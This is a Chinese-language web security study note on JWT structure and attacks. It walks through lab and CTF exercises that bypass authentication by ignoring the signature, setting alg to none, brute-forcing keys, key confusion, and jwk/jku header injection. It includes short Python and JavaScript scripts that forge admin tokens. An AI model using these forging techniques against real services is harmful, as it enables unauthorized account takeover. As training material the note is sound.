JWT概念
JSON Web Token(JWT)。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。
java站点使用较多,php也有
JWT识别
三部分:头部、payload、签名,以 .分隔
eyJxxx.xxx.xxx


标头(Header)
Header是JWT的第一个部分,是一个JSON对象,主要声明了JWT的签名算法,如”HS256”、”RS256″等,以及其他可选参数,如”kid”、”jku”、”x5u”等
- alg字段通常用于表示加密采用的算法。如”HS256″、”RS256″等HS256:对称性加密(同一的密钥加密和解密) 可以采用爆破密钥攻击RS256:非对称加密(公钥和私钥)
- typ字段通常用于表示类型
- 还有一些其他可选参数,如”kid”、”jku”、”jwk”等jwk:将密钥表示为JSON对象,相当于自定义的一套算法jku:把公钥信息放到指定的 URL 中,服务端通过访问URL来获取相应密钥进行校验,这样可以更灵活地切换密钥
有效载荷(Payload)
Payload是JWT的第二个部分,这是一个JSON对象,主要承载了各种声明并传递明文数据,用于存储用户的信息,如id、用户名、角色、令牌生成时间和其他自定义声明。
- iss:该字段表示jwt的签发者。
- sub:该jwt面向的用户。
- aud:jwt的接收方。
- exp:jwt的过期时间,通常来说是一个时间戳。
- iat:jwt的签发时间,常来说是一个时间戳。
- jti:此jwt的唯一标识。通常用于解决请求中的重放攻击。该字段在大多数地方没有被提及或使用。因为使用此字段就意味着必须要在服务器维护一张jti表, 当客户端携带jwt访问的时候需要在jti表中查找这个唯一标识是否被使用过。使用这种方式防止重放攻击似乎让jwt有点怪怪的感觉, 毕竟jwt所宣称的优点就是无状态访问
签名(Signature)
Signature是对Header和Payload进行签名,具体是用什么加密方式写在Header的alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
对Header和Payload进行签名,具体是用什么加密方式写在Header的alg中。
同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
第一部分:对 JSON 的头部做 base64 编码处理得到
第二部分:对 JSON 类型的 payload 做 base64 编码处理得到
第三部分:分别对头部和载荷做base64编码,并使用.拼接起来
使用头部声明的加密方式,对base64编码前两部分合并的结果加盐加密处理,作为JWT
识别检测利用项目
BURP插件:Hae(识别)、JSON Web Tokens(必备)、JWT Editor(必备)
在线jwt分析:https://jwt.io/
jwt自动扫描:https://github.com/CompassSecurity/jwt-scanner(必备)
整合版:https://github.com/z-bool/Venom-JWT
爆破jwt密钥:https://github.com/ticarpi/jwt_tool
jwt密钥爆破字典:https://github.com/wallarm/jwt-secrets
靶场测试
参考:blog.csdn.net/weixin_44288604/article/details/128562796
通过未验证的签名绕过JWT身份验证(无视签名修改)
靶场:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
直接修改jwt中的payload部分,普通用户通过jwt未验证签名进行垂直越权
用户登录后发现jwt验证

发送到重放器

修改访问路径为 /admin

使用jwt editor插件修改jwt数据
修改winer用户为administrator

通过有缺陷的签名验证绕过JWT身份验证(alg置空)
与上一关大体一致,但是头部alg(表示加密采用的算法)控制不严,并没有在代码中写死,而是根据数据包中提交的算法为准,所以此处可以使用alg置空攻击,写none则不加密
使用JSON Web Tokens插件



通过弱签名密钥绕过JWT身份验证(爆破密钥)
没有缺陷 + 有验证签名
HS256是对称加密只有一个密钥
尝试爆破密钥 字符爆破&字典爆破
工具:jwt_tool或hashcat
与上面一致,多了个修改签名


算法混淆 – 公钥私钥泄露
实战中:源码泄露或js中泄露
靶场:https://ctf.show/challenges#web349-833
打开题目提示js源码

访问/public.key和/private.key下载公钥和私钥
公钥解密就需要私钥加密
写一个python脚本
pip install PyJWT==1.7.1
import jwt
private = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=private, algorithm='RS256'))
生成一个以私钥加密的payload为"user":"admin"的jwt数据
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU'
post提交

算法混淆 – 密钥混淆攻击
靶场:https://ctf.show/challenges#web350-834


尝试在数据包中将验证方案改为HS256(对称加密),此时可以使用公钥加密、公钥解密
写一个js脚本
var jwt = require('jsonwebtoken');
var fs = require('fs');
var Key = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, Key, { algorithm: 'HS256' });
console.log(token)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3NTY3OTQ4Nzl9.qZZwQzH-aB_9GrDqL0nGa5f4neT02Pwqln_uw82rcbo

通过jwk标头注入绕过JWT身份验证(jwk攻击)
逻辑:在jwt数据中,如果写有jwk标头,如果服务器直接将jwk带入识别,以jwk为准,会造成原有算法失效,转而使用jwk中的算法(jwk可以进行修改)
靶场:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection
在burp导航栏中找到JWT Editor
新建一套jwk rsa密钥方案

在数据包中选择工具页面


注册完后再次选择攻击

通过jku标头注入绕过JWT身份验证
jwk衍生,将加密方案写在远程服务器上

{
"kty": "RSA",
"e": "AQAB",
"kid": "1",
"n": "0xkA6-2CPnEptcANiPyP3r0KF_zoUVcu46daIr19HktmYApiZWH7RzxM_YrckgTokvgKLoTQ-ch-5CrEvKmLhqes6cjH1iPevgMTaLyio3GBPCXJIyOgpoLP_Gq6_qCdITPFj1l3Jdj8LGENd0n2IDP_nci93eqNUnnKlSBlXGyJCnSST53FrAbZhv3kUdbQZYE66KxXZi36mC-mhKv1XQr1EogA6UAt11rizRW0ypWPg1fVydGCE27yA3Nmn3pPh7O1OInRSIklbz9ELilkpnJM0jProwiU1t7pOVgXruxxCZF0TVtXE78E34lSvqzyfwvd3lTNznxb-k6PRPe_AQ"
}
以json格式写入到靶场提供的服务器上:
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "1",
"n": "0xkA6-2CPnEptcANiPyP3r0KF_zoUVcu46daIr19HktmYApiZWH7RzxM_YrckgTokvgKLoTQ-ch-5CrEvKmLhqes6cjH1iPevgMTaLyio3GBPCXJIyOgpoLP_Gq6_qCdITPFj1l3Jdj8LGENd0n2IDP_nci93eqNUnnKlSBlXGyJCnSST53FrAbZhv3kUdbQZYE66KxXZi36mC-mhKv1XQr1EogA6UAt11rizRW0ypWPg1fVydGCE27yA3Nmn3pPh7O1OInRSIklbz9ELilkpnJM0jProwiU1t7pOVgXruxxCZF0TVtXE78E34lSvqzyfwvd3lTNznxb-k6PRPe_AQ"
}
]
}

然后修改数据包

然后垂直越权成功
通过kid头路径遍历绕过JWT身份验证
见参考
其他
参考:https://mp.weixin.qq.com/s/obiU3BaFoZ7272z2vS0QgQ
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo0MDcyNjE1MzE0fQ.mwI2P1j8CIvhxBKFvcyU7TNLBeuFtiUM1mPrKanF1w4
Content-Type: application/x-www-form-urlencoded
db=sample&q=show users
测试思路

首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将请求重放测试:
- 未授权访问:删除Token后仍然可以正常响应对应页面
- 敏感信息泄露:通过解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等
- 破解密钥+越权访问:通过解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料
- 检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常响应则存在Token不过期
- 通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题
复盘
https://mp.weixin.qq.com/s/ITVFuQpA8OCIRj4wW-peAA
https://mp.weixin.qq.com/s/xuY1oTwFcM1pyiql0U3NPQ
https://mp.weixin.qq.com/s/AVW8DsnLiviopeJYQYKC3A
https://mp.weixin.qq.com/s/st0xma6KoRbo1NUp9rtZhw
https://mp.weixin.qq.com/s/9OL5jZK7S1MiEUb8Q_F1Pw
本节知识点
WEB攻防-JWT令牌-组成&识别&检测&安全
WEB攻防-JWT令牌-空算法&未签名&爆破密钥
WEB攻防-JWT令牌-JWK&JWU&KID&加密替换
